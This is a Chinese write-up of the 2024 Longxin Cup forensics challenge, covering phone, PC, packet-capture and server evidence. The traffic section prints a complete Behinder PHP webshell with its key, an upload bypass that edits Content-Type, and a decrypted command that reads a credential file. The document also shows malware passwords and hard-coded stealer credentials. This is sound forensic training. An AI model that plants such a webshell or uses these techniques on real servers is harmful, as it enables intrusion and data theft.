2024年第二届龙信杯 WP

2024年龙信杯

author:mumuzi

date:2024/9/30

取证的一手更新都在自己的博客上,分区为Forensic,https://mumuzi7179.github.io/https://mumuzi.blog/

DK盾云服务器:DK盾


镜像下载地址: https://pan.baidu.com/s/1nZfaHq2iMPq2SuUcdl4H6w?pwd=8vvj 提取码: 8vvj

检材VC密码:MjAyNOm+meS/oeadrw==

题目:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

手机取证

1.分析手机检材,请问此手机共通过adb连接过几个设备?[标准格式:3]

答案:2

Android 设备在通过 ADB 连接时,通常会要求用户授权连接,会要求用户确认设备授权,并将该设备的公钥保存在 adb_keys 文件中。

该文件保存在/data/misc/adb/adb_keys

在本题中,能在/misc/adb/adb_temp_keys.xml中发现两个adbKey,即连接过2个设备

在这里插入图片描述

2.分析手机检材,机主参加考试的时间是什么时候?[标准格式:2024-06-17]

答案:2024-08-23

在便签中找到考试相关信息,能推断下个星期五是8月23

在这里插入图片描述

3.分析手机检材,请问手机的蓝牙Mac地址是多少?[标准格式:12:12:12:12:12:12]

答案:48:87:59:76:21:0f

查看基本信息即可(/misc_1/bluedroid/bt_config.conf

在这里插入图片描述

4.分析手机检材,请问压缩包加密软件共加密过几份文件?[标准格式:3]

答案:6

在搜索记录中能够发现filecompress,知道其包名为com.zs.filecompress,全局搜索后在media_425/0/FileCompress下发现压缩包(名字.txt,实际是压缩包)

在这里插入图片描述

同时还能在/app/~~_jzJxEiovvVW2OdDRNs_dw==/com.zs.filecompress-rGjcoW-RV_xJmIwAD522NA==下找到apk文件

5.分析手机检材,请问机主的另外一个155的手机号码是多少?[标准格式:15555000555]

答案:15599555555

上面导出apk文件后,查看该apk文件的manifest,找到入口为com.zs.filecompress.MainActivity

找到压缩密码为1!8Da9Re5it2b3a.

在这里插入图片描述

对第四题的6个压缩包解密即可。其中关键信息如下:

重要.txt:我手机里面有一个重要容器,密码是d7Avsd!Y]u}J8i(1bnDD@<-o 还有服务器密码:M6gNFerD8YYu3lq

mm.txt:我的另外一个号码15599555555

6.分析手机检材,其手机存在一个加密容器,请问其容器密码是多少。(标准格式:abc123)

答案:d7Avsd!Y]u}J8i(1bnDD@<-o

分析见第五题

7.分析手机检材,接上问,其容器中存在一份成员名单,嫌疑人曾经误触导致表格中的一个成员姓名被错误修改,请确认这个成员的原始正确姓名?[标准格式:张三]

答案:陆俊梅

可以在下载的文件下(/media_425/0/Download)找到一个名为data的大小10MB整的文件,该文件则是加密容器

挂载后用VC打不开,尝试使用TC

在这里插入图片描述

挂载后得到两份文件,分别为名单数据.xlsxllzp.jpg

因为题上描述到修改了名字,那么大概率存在一种可能是一个手机号对应了多个名字,那么编写python脚本进行分析:

import pandas as pd
file_path = '名单数据.xlsx'
df = pd.read_excel(file_path)
phone_to_name = {}

for name, phone, inviter, inviter_phone in zip(df['姓名'], df['手机号'], df['邀请人'], df['邀请人手机号']):
    if phone not in phone_to_name:
        phone_to_name[phone] = name
    elif phone_to_name[phone] != name:
        print(f"警告:手机号 {phone} 对应了多个不同的姓名:{phone_to_name[phone]}{name}")

    if inviter_phone not in phone_to_name:
        phone_to_name[inviter_phone] = inviter
    elif phone_to_name[inviter_phone] != inviter:
        print(f"警告:手机号 {inviter_phone} 对应了多个不同的邀请人:{phone_to_name[inviter_phone]}{inviter}")
#警告:手机号 15979503550 对应了多个不同的姓名:陆陆 和 陆俊梅

在这里插入图片描述

8.分析手机检材,接上题,请确认该成员的对应的最高代理人是谁(不考虑总部)?[标准格式:张三]

答案:刘珏兰

手动筛选xlsx表格,可以得出上级关系是:陆俊梅-->肖玉莲-->刘珏兰-->总部

9.分析手机检材,请确认在该组织中,最高层级的层次是多少?(从总部开始算第一级)[标准格式:10]

答案:12

编写python脚本

import pandas as pd

file_path = '名单数据.xlsx'
df = pd.read_excel(file_path)
invite_dict = {}

for name, inviter in zip(df['姓名'], df['邀请人']):
    invite_dict[name] = inviter

def get_level(name, invite_dict):
    if invite_dict.get(name) == "总部":
        return 2, f"{name} --> 总部"
    if name not in invite_dict or pd.isna(invite_dict[name]):
        return 1, name
    level, chain = get_level(invite_dict[name], invite_dict)
    return level + 1, f"{name} --> {chain}"

max_level = 0
max_chain = ""
for name in df['姓名']:
    level, chain = get_level(name, invite_dict)
    if level > max_level:
        max_level = level
        max_chain = chain

print(f"最高层级数为: {max_level}")
print(f"最高层级的邀请链为: {max_chain}")
#最高层级数为: 12
#最高层级的邀请链为: 何芳 --> 周厚英 --> 周开情 --> 刘明香 --> 胡雍全 --> 刘萍 --> 卢宾秋 --> 卢志 --> 沈冬吉 --> 陈荣建 --> 陈金香 --> 总部

10.分析手机检材,请问第二层级(从总部开始算第一级)人员最多的人是多少人?[标准格式:100]

答案:60

感觉有点没读懂题呢,我的理解是第二层级邀请的人数最多的,邀请了多少人

import pandas as pd

file_path = '名单数据.xlsx'
df = pd.read_excel(file_path)
invite_dict = {}

for name, inviter in zip(df['姓名'], df['邀请人']):
    invite_dict[name] = inviter
first_level = [name for name, inviter in zip(df['姓名'], df['邀请人']) if inviter == "总部"]
second_level_counts = {name: 0 for name in first_level}

for name, inviter in zip(df['姓名'], df['邀请人']):
    if inviter in second_level_counts:
        second_level_counts[inviter] += 1

max_inviter = max(second_level_counts, key=second_level_counts.get)
max_count = second_level_counts[max_inviter]

print(f"第二层级人员最多的是: {max_inviter},邀请了 {max_count} 人")
#第二层级人员最多的是: 贾书英,邀请了 60 人

11.分析手机检材,机主共开启了几款APP应用分身?[标准格式:3]

答案:2

在这里插入图片描述

12.分析手机检材,请问机主现在安装了几款即时通讯软件(微博除外)?[标准格式:1]

答案:2

当时数出来是6个(算上一些奇奇怪怪的软件),但是算了一些其他软件,弘连跑出来除开微博是2。所以最终答案不确定

在这里插入图片描述

13.分析手机检材,请问勒索机主的账号是多少(非微信ID)?[标准格式:AB123CD45]

答案:1836042664454131712

结合第14的问,个人感觉问的是默往的聊天记录

在这里插入图片描述

14.分析手机检材,接上问,请问机主通过此应用共删除了多少条聊天记录 ?[标准格式:2]

答案:1

应该是删除了1条

在这里插入图片描述

15.分析手机检材,请问会盗取手机信息的APP应用包名是什么?[标准格式:com.lx.tt]

答案:com.lxlxlx.luoliao

在微信聊天记录中,能够发现盗取手机信息的APP,导出查看起Androidmanifest即可

在这里插入图片描述

在这里插入图片描述

16.接上题,请问该软件作者预留的座机号码是多少?[标准格式:40088855555]

答案:40085222666

直接搜没有搜到,因此分析源码。找到主函数为com.gass.mobileH.MainActivity

在查看代码的时候,能发现很多都用到了C0251a,跳转发现是一个AES加密

在这里插入图片描述

在这里插入图片描述

Log.i("tips", new String(C0251a.m201a((this.f1252w0 + this.f1254x0).getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));分析,可以知道解密过程是使用秘钥E10ADC3949BA59ABBE56E057F20F883E和iv为E10ADC3949BA59ABBE56E057F20F883E来解密iSkrO/5aOpJ6AAFQNl4t/9k013k52gh6U+1240De1DEVJaQJ7ByaJExZmcgdXkz92RANgWCqZ/T6prig6uqOFA==

在这里插入图片描述

怎么和去年一个答案

17.接上题,恶意程序偷取数据的收件邮箱地址的gmail邮箱是多少?[标准格式:lx@gmail.com]

答案:1304567895@gmail.com

依旧是直接搜邮箱没有搜到,尝试解密下面还没有解密的数据

在这里插入图片描述

解密f1250v0就是邮箱

18.接上题,恶意程序偷取数据的发件邮箱地址是多少?[标准格式:lx@gmail.com]

答案:temp1234@gmail.com

搜素f1250v0就能追到此处

在这里插入图片描述

然后发现发送邮箱是通过的c0258a.m198a

在这里插入图片描述

f968d解密,结果为temp1234@gmail.com

19.接上题,恶意程序偷取数据的发件邮箱密码是多少?[标准格式:abc123]

答案:qwer123456

f969e解密,结果为qwer123456

20.接上题,恶意程序定义收发件的地址函数是什么?[标准格式:a]

答案:a

见18题的图

计算机取证

1.分析计算机检材,嫌疑人在将其侵公数据出售前在Pycharm中进行了AES加密,用于加密的key是多少?[标准格式:1A23456ABCD]

答案:65B2564BG89F16G9

使用仿真软件将镜像仿真,仿真设置中选择不修改密码,仿真好后会提示输入密码,输错一次后会得到提示:

在这里插入图片描述

然后火眼证据分析把密码跑出来了,是990528。实际好像是存在注册表还是哪来着,当时晃到过一眼不过忘了就没去找。

在这里插入图片描述

在E盘的python文件夹下发现KEY(若强制修改密码,则会由于EFS加密的关系无法解密文件内容)

在这里插入图片描述

2.分析计算机检材,身份证为"371963195112051505"这个人的手机号码是多少?[标准格式:13013524420]

答案:15075547510

给出加密脚本和加密后的文件后,可以反向写出解密脚本

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from tqdm import tqdm

def aes_decrypt(encrypted_data, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(bytes.fromhex(encrypted_data))
    unpadded_data = unpad(decrypted_data, AES.block_size)
    return unpadded_data.decode()

key = b'65B2564BG89F16G9'
iv = b'83E6CBEF547944CF'

input_file = "encrypted_data.txt"
output_file = "decrypted_data.txt"

def process_data(input_file, output_file, key, iv):
    with open(input_file, "r") as f_in, open(output_file, "w") as f_out:
        total_lines = sum(1 for _ in f_in)
        f_in.seek(0)
        for line in tqdm(f_in, total=total_lines, desc="Processing"):
            parts = line.strip().split(',')
            index = parts[0]
            f_out.write(index + ",")

            decrypted_parts = []
            for encrypted_part in parts[1:]:
                decrypted_part = aes_decrypt(encrypted_part, key, iv)
                decrypted_parts.append(decrypted_part)

            f_out.write(",".join(decrypted_parts) + "\n")

process_data(input_file, output_file, key, iv)

等待约10分钟之后即可成功解密数据,大小约600MB

打开后,搜索该身份证即可

在这里插入图片描述

3.分析计算机检材,对解密后的身份证数据列进行单列去重操作,重复的身份证号码数量是多少?(身份证不甄别真假)[标准格式:100]

答案:0

def count_unique_ids(input_file):
    unique_ids = set()
    with open(input_file, "r", encoding="gbk") as f_in:
        for line in f_in:
            parts = line.strip().split(',')
            id_card = parts[2]
            unique_ids.add(id_card)
    return len(unique_ids)

input_file = "decrypted_data.txt"
unique_count = count_unique_ids(input_file)
print("去重后的身份证个数为:", unique_count)
#结果为:10000000

总数也是10000000,因此没有重复

4.分析计算机检材,接上题,根据身份证号码(第17位)分析性别,男性的数据是多少条?[标准格式:100]

答案:5001714

def count_male_ids(input_file):
    male_count = 0
    with open(input_file, "r", encoding="gbk") as f_in:
        for line in f_in:
            parts = line.strip().split(',')
            if len(parts) < 3:
                continue
            id_card = parts[2]

            if len(id_card) == 18:
                gender_digit = int(id_card[16])
                if gender_digit % 2 == 1:
                    male_count += 1

    return male_count

input_file = "decrypted_data.txt"
male_count = count_male_ids(input_file)
print("男性人数为:", male_count)
#5001714

5.分析计算机检材,接上题,对解密后的数据文件进行分析,甄别身份证号码性别值与标识性别不一致的数量是多少?[标准格式:100]

答案:5001185

def count_mismatched_gender(input_file):
    mismatch_count = 0  # 用于统计性别不一致的人数

    # 打开输入文件,指定 gbk 编码读取数据
    with open(input_file, "r", encoding="gbk") as f_in:
        for line in f_in:
            parts = line.strip().split(',')
            if len(parts) < 5:
                continue
            id_card = parts[2]
            actual_gender = parts[4]

            if len(id_card) == 18:
                gender_digit = int(id_card[16])
                id_gender = "男" if gender_digit % 2 == 1 else "女"

                if id_gender != actual_gender:
                    mismatch_count += 1

    return mismatch_count

input_file = "decrypted_data.txt"
mismatch_count = count_mismatched_gender(input_file)
print("身份证性别和最后一列性别不一致的人数为:", mismatch_count)
#5001185

6.分析计算机检材,计算机中存在的“VPN”工具版本是多少?[标准格式:1.1]

答案:4.4

在E盘下的WinXway中,打开后看软件的title

在这里插入图片描述

7.分析计算机检材,计算机中存在的“VPN”节点订阅地址是什么?[标准格式:http://xxx.xx/x/xxx]

答案:https://paste.ee/d/4eIzU

在配置中

在这里插入图片描述

8.分析计算机检材,eduwcry压缩包文件的解压密码是什么?[标准格式:abcabc]

答案:yasuomima

有三种做法,我用的最奇葩的第三种。文件在下载目录中

做法1:查看密码管理器

在这里插入图片描述

做法2:查看输入法

在这里插入图片描述

做法3:明文攻击

首先在火绒的隔离区找到该病毒软件(若不会做就放弃该题直接把后面的接着做了)

在这里插入图片描述

接着观察到该文件是deflate算法,并且电脑里只有个bandzip,因此用bandzip压缩该wcry.exe文件

在这里插入图片描述

最后使用

ARCHPR爆破即可

在这里插入图片描述

9.分析计算机检材,接上题,请问恶意程序释放压缩包的md5值是多少。[标准格式:全小写]

答案:b576ada3366908875e5ce4cb3da6153a

使用CFF Explorer打开该病毒文件,查看资源文件,保存后计算md5即可。

同时能在病毒文件中找到XIA.zip的解压密码是WNcry@2ol7,调用来自WinMain

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

10.分析计算机检材,接上题,请问恶意程序记录的洋葱浏览器下载地址是多少?[标准格式:http://xxx.xxx/xxx/xxx.zip]

答案:https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

运行之后可以看见释放了Tor文件夹,不过具体的可以看这张图:

https://github.com/heart4lor/brainbase/blob/master/WannaCry%E5%8B%92%E7%B4%A2%E7%97%85%E6%AF%92%E8%AF%A6%E7%BB%86%E8%A7%A3%E8%AF%BB.md

在这里插入图片描述

*11-14不会,放出大神分析的链接

https://blog.csdn.net/zyg_0506/article/details/142692748

11.f351e1fcca0c4ea05fc44d15a17f8b36

12.5

13.CreateShortcut

14.sub_10004F20

15.分析计算机检材,VeraCrypt加密容器的密码是什么?[标准格式:abc]

答案:qwertyuiop1

容器在E盘的data-backup.dd中,改成.zip解压。解压后即可得到密码为qwertyuiop1

在这里插入图片描述

16.分析计算机检材,其中存在一个苹果手机备份包,手机备份包的密码是什么?[标准格式:12345]

答案:75966

将上图的data-backup使用vc进行挂载,即可得到一个苹果手机的备份包。

然后可以在浏览记录中发现用户搜索过如何解密5位数字密码的苹果备份

在这里插入图片描述

因此把这个压缩包解压出来,将manifest.plist丢入passware kit(也可以看这篇文章:https://www.cnblogs.com/zyToJH/p/17990380

在这里插入图片描述

17.分析计算机检材,接上题,机主实际篡改多少条微信数据?[标准格式:1]

答案:2

首先,聊天记录碎片用于提高读取和写入效率,可以从这里对比篡改消息,但是并不代表碎片这里缺少的东西在聊天记录有就等于被篡改了,只能看同一个聊天记录的不同点(这话有点怪,能理解就行不能理解就pass)。

看cj,有2条。看zdyy是没有被篡改的

在这里插入图片描述

18.分析计算机检材,接上题,机主共存款了多少金额?[标准格式:10万]

答案:98万

在看Info.plist时发现已安装的应用如下:

	<array>
		<string>com.ownbook.notes</string>
		<string>com.titashow.tangliao</string>
		<string>com.tencent.xin</string>
	</array>

很明显com.ownbook.notes是一个类似于笔记的软件,但是里面没有数据

而com.titashow.tangliao是小西米语音的,之前在獬豸杯是考过的,数据存放在其包名下的Documents\IM5_CN\9031bc3c805ac5e55ecaa151092c2c4b\IM5_storage\1438793628033019010中的im5db下,表是message

在这里插入图片描述

19.分析计算机检材,在手机模拟器中勒索apk软件的sha256值是什么?[标准格式:全小写]

答案:340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e

在电脑的文档文件夹下存在一个模拟器的备份文件,我的做法是导出后修改为7z解压,将vmdk文件放入火眼取证

在这里插入图片描述

然后找到许羽这个文件(/app/com.fankes.tmoreplus-1/base.apk)导出后计算sha256即可

或者使用adb连接后进行导出:
在这里插入图片描述

在这里插入图片描述

20.分析计算机检材,接上题,请问勒索apk软件的解锁密码是什么?[标准格式:qwer.com]

答案:anzhuo.com

jadx打开,能在com.mycompany.myapp4.ABC中找到

public void onClick(View view2) {
                if (this.val$edit.getText().toString().equals("anzhuo.com")) {
                    System.exit(0);
                    return;
                }
                this.val$edit.setHint("密码不对,不知道密码联系qq1966466802");
                this.val$edit.setText("许羽nb");
            }

在这里插入图片描述

流量分析

个人分析是这样的:

扫路径、爆密码、传冰蝎马

1.分析流量包检材,给出管理员对web环境进行管理的工具名。(标准格式:小皮)

答案:宝塔

在这里插入图片描述

2.分析流量包检材,给出攻击者的ip地址是多少。(标准格式:127.0.0.1)

答案:192.168.209.135

看扫的流量

在这里插入图片描述

3.分析流量包检材,给出攻击者爆破出的网站非管理员用户名是。(标准格式:admin)

答案:luna

个人感觉是luna

发现第48-56流的HTTP都是在爆破用户名。然后一般的都是没有在站点注册,我猜测注册的肯定会提示密码相关,然后找到俩

在这里插入图片描述

在这里插入图片描述

然后在后续题目进行分析时,发现

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
saber:x:1000:1000:earph0n3:/home/saber:/bin/bash
www:x:1001:1001::/home/www:/sbin/nologin
mysql:x:1002:1002::/home/mysql:/sbin/nologin

感觉既然有saber用户,应该saber就是管理员,所以非管理员就是luna

4.分析流量包检材,攻击者进行目录扫描得到的具有后门的页面url路径为。(标准格式:/abc.html)

答案:/up_load.html

问的是扫描扫出来的,扫描的流处于1699——11866中,因此过滤code是200的并且处于该范围流的

在这里插入图片描述

在这里插入图片描述

5.分析流量包检材,攻击者通过修改请求包中的哪个字段导致恶意文件成功上传。(标准格式:test-type)

答案:Content-Type

过滤看一下有关流量

在这里插入图片描述

能看到这里失败了

在这里插入图片描述

然后这里是上传成功的

在这里插入图片描述

能够注意到马是cont.php,直接http contains "cont.php"

在这里插入图片描述

对比能够发现,修改为Content-Type: image/jpeg能上传php和jpeg,因此修改的字段就是Content-Type

6.分析流量包检材,攻击者上传成功的恶意文件, 该文件的临时存放路径是。(标准格式:/abc/edf)

答案:/tmp/php38mbeJ

见上图(还有个是cont.jpg,那个用不了所以不是那个)

7.分析流量包检材,服务器php配置文件的存放位置(标准格式:/www/sev/php.ini)

答案:/www/server/php/82/etc/php.ini

这里没搜到,估计就是需要解冰蝎马了,可以知道上传的冰蝎马内容如下:

<?php
@error_reporting(0);
session_start();
	$key="e45e329feb5d925b";
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

通过分别解密冰蝎流量,在第19708流中找到

在这里插入图片描述

8.分析流量包检材,被攻击的web环境其数据库密码是。(标准格式:qwer1234)

答案:X847Z3QzF1a6MHjR

在20299流中,解冰蝎得到:

<?php
/**
 * WordPress 基础配置文件
 *
 * 这个文件被安装程序用于自动生成 wp-config.php 配置文件
 * 您不必使用网站,可以将这个文件复制到「wp-config.php」并填写这些值。
 *
 * 本文件包含以下配置选项:
 *
 * * 数据库设置
 * * 密钥
 * * 数据库表名前缀
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** 数据库设置 - 您可以从您的主机获取这些信息 ** //
/** WordPress 数据库名称 */
define( 'DB_NAME', '192_168_209_147' );

/** 数据库用户名 */
define( 'DB_USER', '192_168_209_147' );

/** 数据库密码 */
define( 'DB_PASSWORD', 'X847Z3QzF1a6MHjR' );

/** 数据库主机 */
define( 'DB_HOST', 'localhost' );

/** 创建表时使用的数据库字符集。 */
define( 'DB_CHARSET', 'utf8mb4' );

/** 数据库排序规则类型。如不确定,请勿更改。 */
define( 'DB_COLLATE', '' );

/**#@+
 * 身份验证唯一密钥与盐。
 *
 * 将这些更改为任意独一无二的字符串!您可以使用
 * {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org 密钥服务}
 * 生成这些。
 *
 * 您可以随时更改这些内容以使所有现有 cookies 失效。
 * 这将强制所有用户必须重新登录。
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '@y;Lsw0P+;-ossdjV ^:{6pf#o+JS T}`vZLy!ZwwFD&61^AsfW1z8aauV{&}]~q' );
define( 'SECURE_AUTH_KEY',  'a<6MJ#M|X}T#}Y_^-dJ;dk=dSs6AI[I*Hf=HD~FK4rSv$Ery8Tif/3P2ws/x9g4B' );
define( 'LOGGED_IN_KEY',    'ko$X58cfx@d^3`OS|T39#yX;/~v+jDi=!qijpfLv_nk%~gw*-WM&P0w67)T.Xz_f' );
define( 'NONCE_KEY',        'r:!rT(RGWY^zB=z},]amQI?mp#/RbIENVu#H.M,>6t8UvVwAb1o#GmXo@d0K[ (1' );
define( 'AUTH_SALT',        '.uDPH|t!OG  NAr0ts8=`_$?,9.9W{J!=W.94yV=>CdHoOMz]JCGO~-cI2]jQwN0' );
define( 'SECURE_AUTH_SALT', '>_/,*C2,^K-fW`lGtAabOWicWR1_VAA#jVnl/3|79{Fi^-M}p<mV>KGw=Gj=(%k8' );
define( 'LOGGED_IN_SALT',   'i5mQPmUUfw5/o$R~pD`7[n;eKsc,4EZYwJ=LK+ZFB$T#yveH4v[77,kgqJYK5ay2' );
define( 'NONCE_SALT',       'ySv,H] JxxE`~|sm6KxGE*ysT]bJ8kSbir(Z>|BMvW` NeM;;JGc,gt3oS3++N24' );

/**#@-*/

/**
 * WordPress 数据表前缀。
 *
 * 如果您为每个安装分配一个唯一前缀,您可以在一个数据库中拥有多个安装。
 * 请只使用数字、字母和下划线!
 */
$table_prefix = 'wp_';

/**
 * 开发者专用:WordPress 调试模式。
 *
 * 将此值更改为 true 以启用开发过程中的通知显示。
 * 强烈建议插件和主题开发人员在其开发环境中使用 WP_DEBUG。
 *
 * 有关可用于调试的其他常量的信息,请访问文档。
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/**
 * 简体中文专属:ICP 备案号显示
 *
 * 在设置 → 常规中设置你的 ICP 备案号。
 * 可调用简码 [cn_icp] 或函数 cn_icp() 显示。
 *
 * @since 6.5.0
 * @link https://cn.wordpress.org/support/i10n-features/
 */
define( 'CN_ICP', true );

/**
 * 简体中文专属:公安备案号显示
 *
 * 在设置 → 常规中设置你的公安备案号。
 * 可调用简码 [cn_ga] 或函数 cn_ga() 显示。
 *
 * @since 6.5.0
 * @link https://cn.wordpress.org/support/i10n-features/
 */
define( 'CN_GA', true );

/* 在这行和「停止编辑」行之间添加任何自定义值。 */



/* 就这样,停止编辑!祝您使用愉快。 */

/** WordPress 目录的绝对路径。 */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** 设置 WordPress 变量和包含的文件。 */
require_once ABSPATH . 'wp-settings.php';

9.分析流量包检材,服务器管理存放临时登录密码的位置。(标准格式:/tmp/pass)

答案:/tmp/tmppass

在第29862流中,依旧是解密,不过是解密发送的包,内容是cd /www/wwwroot/192.168.209.147/uploaded_img/ ;cat /tmp/tmppass

10.分析流量包检材,黑客获取的高权限主机的登录密码。(标准格式:qwer1234)

答案:passwd!@#

接上,在第29862流中,发送的包是读密码,而返回的内容mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j7/h9uTFVY4YtX4K00hYYUtOKiRhmBh+4u0Qv/InNki2w==通过解密能够得到

服务器取证

在手机的加密容器中,我们得到了密码是M6gNFerD8YYu3lq

在使用仿真软件不修改的情况下,尝试登录发现不对(至少不是root账户),如果尝试直接绕密修改密码,会触发验证保护机制:

在这里插入图片描述

在这里插入图片描述

该机制会将docker全部删掉。因此需要一种方法能够绕过,下面是其中一种绕过的方式:

根据上述描述,可以知道是登录之后就会马上进行check,这种脚本通常会放在以下几个目录和文件中

/etc/profile

/etc/profile.d/

~/.bashrc

~/.profile

因此我们可以使用救援模式修改密码,但是经过尝试之后,发现必须使用单用户来修改,方法如下:

在这里插入图片描述

在上图中按下e键,定位到linux16这一行,在最后加上一句rw single init=/bin/bash,然后按ctrl+x

在这里插入图片描述

进入后,在上面的目录中查找文件,能够定位出/etc/profile.d/check-system.sh

在这里插入图片描述

能够发现是读取了/etc/.cadpc下的文件与/etc/shadow的sha256进行比较,不同则删除这些目录

在这里插入图片描述

因此直接删除,然后修改密码就行

在这里插入图片描述

然后右键该虚拟机——电源——重新启动客户机即可

在这里插入图片描述

1.分析服务器检材,服务器会做登录密码验证,该登录验证文件位置在?[标准格式:/xxx/xxx/xxx.xxx]

答案:/etc/profile.d/check-system.sh

见上面的分析,位置在/etc/profile.d/check-system.sh

2.分析服务器检材,服务器ssh端口是多少?[标准格式:1234]

答案:12320

使用netstat -anpt即可

在这里插入图片描述

3.分析服务器检材,服务器docker内有多少个镜像。[标准格式:100]

答案:7

问的是镜像不是容器,因此使用docker images

在这里插入图片描述

4.分析服务器检材,服务器内sqlserver默认账号的密码是?[标准格式:xxx]

答案:<i7uFtnkTv8>

sqlserver是上图的第一个服务器,在docker ps -a中发现之前有启动过,再次start即可,然后可以在env中发现密码

5.分析服务器检材,服务器内sqlserver存放了阿里云存储下载地址,该下载地址是?[标准格式:https://xxx]

答案:https://xinfenfa.oss-accelerate.aliyuncs.com

从这里开始,我的想法是使用弘连的数据库取证工具进行分析,在外面我们找到数据库路径为/var/lib/docker/overlay2/df6822a4afd15c3e31bc425a60d4c4cec799464c4fd37ee832ae87d3a248efc2/diff/var/opt/mssql/data/

将其整个导出后使用弘连数据库取证工具

在这里插入图片描述在这里插入图片描述

在其中的cmf_config表中找到下载地址

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

(不会)6.分析服务器检材,服务器内sqlserver内“cmf_user_action_log”表,表内存在的用户操作日志,一共操作次数是多少?[标准格式:100]

直接查看发现是空的

在这里插入图片描述

日志里面好像没咋写?

7.分析服务器检材,该服务器正在使用的数据库的持久化目录是什么?[标准格式:/xxx/xxx]

答案:/data/mongo

先确定服务器的位置:

在这里插入图片描述

然后找到服务器使用的数据库是什么

在这里插入图片描述

既然确定了是mongo,那么就使用inspect查看其持久化目录

在这里插入图片描述

在这里插入图片描述

8.分析服务器检材,该网站后台正在使用的数据库有多少个集合?[标准格式:100]

答案:17

mongo的集合就跟mysql的表是一个意思,因此我就还是用刚刚描述的先导出再用数据库取证工具

在这里插入图片描述

这里我给出的答案是17

在这里插入图片描述

9.分析服务器检材,该网站的后台登录地址是?[标准格式:/xxx/xxx.xxx 全小写,不加域名]

答案:/admin/common/login.shtml(or mingadmin/common/login ?)

发现可能是login也可能是login1

在这里插入图片描述

因此还是查看一下日志

在这里插入图片描述

虽然数据库中还有个mingadmin/common/login,但是和题目格式不是很符合,感觉应该不是那个

10.分析服务器检材,该网站后台使用的管理员加密算法是?[标准格式:全大写]

答案:BCRYPT

我先是看了管理员的密码格式

在这里插入图片描述在这里插入图片描述

然后搜了一下看看是否使用了bcrypt

在这里插入图片描述

在这里插入图片描述

11.分析服务器检材,该网站最早使用超级管理员进行删除管理员操作的IP地址是?[标准格式:x.x.x.x]

答案:117.132.191.203

超管的ID是1

在这里插入图片描述

删除管理员的操作ID是26

在这里插入图片描述

分析app_admin_log

在这里插入图片描述

12.分析服务器检材,该网站后台上传过sha256值为“b204ad1f475c7716daab9afb5f8d61815c508f2a2b1539bc1f42fe2f212b30d1”的压缩包文件,该文件内的账单交易订单号是多少?[标准格式:123456]

答案:20240321000000005443369778283185

find . |grep "\.zip"

在这里插入图片描述

计算得到UeOupJ14.zip就是目标zip,不过需要密码

在这里插入图片描述

用7zip打开能看到个注释

在这里插入图片描述

我的ARCHPR说这个文件不正常,所以用passware来爆

在这里插入图片描述

解压出来是个图像文件,直接在浏览器回车就可以

在这里插入图片描述

13.分析服务器检材,该网站存在网站数据库备份功能,该功能的接口地址是?[标准格式:/xxx/xxx 全小写,不加域名]

答案:/appmanager/databackup

在这里插入图片描述

